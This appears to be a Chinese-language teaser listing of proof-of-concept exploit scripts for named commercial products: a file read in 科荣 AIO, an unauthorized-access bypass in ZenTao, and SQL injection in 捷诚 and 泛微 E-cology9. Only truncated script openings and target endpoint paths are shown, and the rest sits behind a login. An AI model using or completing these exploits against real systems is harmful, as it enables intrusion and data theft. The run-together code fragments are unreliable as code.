秃兔
科荣 AIO 管理系统任意文件读取
import base64import requests def poc(ip, file_path): # 构造URL地址url = f’http://{ip}/UtilServlet’headers = { 登录可见余下内容
禅道研发项⽬管理系统未授权
import requests def check(url):url1 = url+’/misc-captcha-user.html’# url1 = url+’/index.php?m=misc&f=captcha&sessionVar=user’#非伪静态版本按照此格式传参# url2 = url+’/...
捷诚管理信息系统 SQL注入漏洞
import timeimport requests def verify(ip):url = f'{ip}EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx’headers = { 登录可见余下内容
泛微E-cology9 browserjsp SQL注入漏洞
import argparseimport requestsfrom termcolor import coloredimport signal requests.packages.urllib3.disable_warnings()output_file = None def check_url(url, output=None):headers = {...
